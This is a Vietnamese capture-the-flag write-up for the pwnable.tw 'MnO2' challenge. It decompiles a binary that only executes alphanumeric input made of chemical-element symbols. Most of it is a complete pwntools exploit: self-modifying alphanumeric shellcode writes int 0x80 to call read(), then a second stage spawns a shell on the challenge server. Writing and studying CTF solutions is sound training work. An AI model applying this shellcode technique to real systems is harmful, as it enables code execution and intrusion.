pwnable.tw

MnO2

Vuln: Alphanumeric shellcode.

tl;dr: Tạo alphanumeric shellcode, sử dụng ModR/M byte.

February 23, 2026 Hard Puzzly

Recon

Mitigation

$ pwn checksec mno2
[*] '/home/hungnt/pwnable.tw/mno2/mno2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000
$ file mno2
mno2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=f4ff40d44c0e5f9f2980e842817533a617ac2351, not stripped

Code

main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  size_t len; // [esp+2Ch] [ebp-4h]

  mmap((void *)0x324F6000, 0x8000u, 7, 34, -1, 0);
  __isoc99_scanf(&_s, 0x324F6E4D);
  len = strlen((const char *)0x324F6E4D);
  memset((void *)(len + 0x324F6E4D), 0, 0x71B3 - len);
  check((char *)0x324F6E4D);
  MEMORY[0x324F6E4D]();
  exit(0);
}

check()

int __cdecl check(char *shellcode)
{
  int result; // eax
  char s2; // [esp+15h] [ebp-13h] BYREF
  char v3; // [esp+16h] [ebp-12h]
  char v4; // [esp+17h] [ebp-11h]
  int i; // [esp+18h] [ebp-10h]
  char *j; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; shellcode[i]; ++i )
  {
    if ( ((unsigned __int8)shellcode[i] <= '`' || (unsigned __int8)shellcode[i] > 'z')
      && ((unsigned __int8)shellcode[i] <= '@' || (unsigned __int8)shellcode[i] > 'Z')
      && ((unsigned __int8)shellcode[i] <= '/' || (unsigned __int8)shellcode[i] > '9') )
    {
      exit(0);                                  // shellcode must only contain letters and digits
    }
  }
  while ( 1 )
  {
    result = (unsigned __int8)*shellcode;
    if ( !(_BYTE)result )                       // no null byte
      break;
    if ( (unsigned __int8)*shellcode <= '@' || (unsigned __int8)*shellcode > 'Z' )
      exit(0);
    for ( j = shellcode + 1; *j && ((unsigned __int8)*j <= '@' || (unsigned __int8)*j > 'Z'); ++j )
      ;
    s2 = *shellcode;
    v3 = 0;
    v4 = 0;
    if ( ++shellcode == j )
    {
      if ( !find(&s2) )
        exit(0);
    }
    else
    {
      if ( (unsigned __int8)*shellcode <= '`' || (unsigned __int8)*shellcode > 'z' )
      {
        if ( (unsigned __int8)*shellcode <= '0' || (unsigned __int8)*shellcode > '9' )
          exit(0);
        ++shellcode;
      }
      else
      {
        v3 = *shellcode++;
      }
      if ( !find(&s2) )
        exit(0);
      while ( shellcode != j )
      {
        if ( (unsigned __int8)*shellcode <= '/' || (unsigned __int8)*shellcode > '9' )
          exit(0);
        ++shellcode;
      }
    }
  }
  return result;
}

find()

int __cdecl find(char *s2)
{
  int i; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; (&elements)[i]; ++i )
  {
    if ( !strcmp((&elements)[i], s2) )
      return 1;
  }
  return 0;
}

Solve

Mình phải nhập shellcode với byte là các ký tự thường, hoa, số, gọi là alphanumeric shellcode. Và yêu cầu nhập theo token, mỗi token bắt đầu với ký tự hoa, theo sau là ký tự thường (optional), và tiếp là số lượng chữ số (1-9) tuỳ ý. Mỗi token phải là một nguyên tố hoá học trong bảng tuần hoàn :v

Mục tiêu là tạo shellcode gọi syscall read() để đọc shellcode execve, nhưng mà chẳng có cách nào gọi int 0x80 trực tiếp. Để ghi đc int 0x80, cần sử dụng ModR/M.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
A = lambda len=1, c=b'A': c * len
z = lambda len=1, c=b'\0': c * len

exe = ELF("mno2_patched", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
b *main+167
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.25)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(1)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10301
        return remote(host, port)

p = conn()

'''
Elements
"A": "l", "r", "s", "g", "u", "t", "c", "m",
"B": "e", "", "r", "a", "i", "k", "h",
"C": "", "l", "a", "r", "o", "u", "d", "s", "m", "n", "f",
"D": "y", "b", "s",
"E": "u", "r", "s",
"F": "", "e", "r", "l", "m",
"G": "a", "e", "d",
"H": "", "e", "f", "g", "o", "s",
"I": "", "n", "r",
"K": "", "r",
"L": "i", "a", "u", "r", "v",
"M": "g", "n", "o", "t", "d",
"N": "", "e", "a", "i", "b", "d", "p", "o",
"O": "", "s",
"P": "", "d", "t", "r", "m", "b", "o", "a", "u",
"R": "b", "h", "u", "e", "n", "a", "f", "g",
"S": "i", "", "c", "e", "r", "n", "b", "m", "g",
"T": "i", "c", "b", "m", "a", "l", "h",
"U": "",
"V": "",
"W": "",
"X": "e",
"Y": "", "b",
"Z": "n", "r",
'''

'''
| Char | Hex       | Instruction                  
| ---- | --------- | -------------------------------------------
| 0–3  | 0x30–0x33 | xor r/m8,r8 / xor r/m32,r32 / xor r8,r/m8 / xor r32,r/m32
| 4    | 0x34      | xor al, imm8                 
| 5    | 0x35      | xor eax, imm32               
| 8–9  | 0x38–0x39 | cmp r/m8,r8 / cmp r/m32,r32  
| A    | 0x41      | inc ecx                      
| B    | 0x42      | inc edx                      
| C    | 0x43      | inc ebx                      
| D    | 0x44      | inc esp                      
| E    | 0x45      | inc ebp                      
| F    | 0x46      | inc esi                      
| G    | 0x47      | inc edi                      
| H    | 0x48      | dec eax                      
| I    | 0x49      | dec ecx                      
| K    | 0x4B      | dec ebx                      
| L    | 0x4C      | dec esp                      
| M    | 0x4D      | dec ebp                      
| N    | 0x4E      | dec esi                      
| O    | 0x4F      | dec edi                      
| P    | 0x50      | push eax                     
| R    | 0x52      | push edx                     
| S    | 0x53      | push ebx                     
| T    | 0x54      | push esp                     
| U    | 0x55      | push ebp                     
| V    | 0x56      | push esi                     
| W    | 0x57      | push edi                     
| X    | 0x58      | pop eax                      
| Y    | 0x59      | pop ecx                      
| Z    | 0x5A      | pop edx                      
| a    | 0x61      | popad                        
| b    | 0x62      | bound (2-byte, ModRM follows)
| c    | 0x63      | arpl                         
| d    | 0x64      | FS segment override prefix   
| e    | 0x65      | GS segment override prefix   
| f    | 0x66      | 16-bit operand size prefix   
| g    | 0x67      | 16-bit address size prefix   
| h    | 0x68      | push imm32                   
| i    | 0x69      | imul reg, r/m, imm32         
| k    | 0x6B      | imul reg, r/m, imm8          
'''

# sub ecx, 11 -> cl = 0xf5
shellcode = b"I" * 11
# xor dword ptr [eax + 0x65], ecx
# 0x38 ^ 0xf5 = 0xcd
shellcode += b"1He"
# push 0x46464646; pop ecx -> cl = 0x46
shellcode += b"BhFFFFY"
# xor dword ptr [eax + 0x66], ecx
# 0x39 ^ 0x46 ^ 0xff = 0x80
shellcode += b'1Hf'
# eax = 0x324f6e4d
# push eax (x3)
shellcode += b'PPP'
# push 0x33333333
shellcode += b"Bh3333"
# pop eax; xor eax, 0x33333333 -> eax = 0
shellcode += b'Xe53333'
# push eax (x5); popad
shellcode += b'PPPPPa'
'''
EDI -> 0
ESI -> 0
EBP -> 0
ESP (discarded)
EBX -> 0
EDX -> 0x324f6e4d
ECX -> 0x324f6e4d
EAX -> 0x324f6e4d
'''
# push 0x33333334
shellcode += b"Bh4333"
# pop eax; xor eax, 0x33333337 -> eax = 3 (read)
shellcode += b'Xe57333'
# just padding
shellcode = shellcode.ljust(101, b'F')
# [eax + 0x65] = 0x38
# [eax + 0x66] = 0x39
# 0x80cd -> int 0x80
shellcode += b'89'

sl(p, shellcode)

sleep(1)

s(p, b'\x90' * 0x67 + asm(shellcraft.sh()))
ia(p)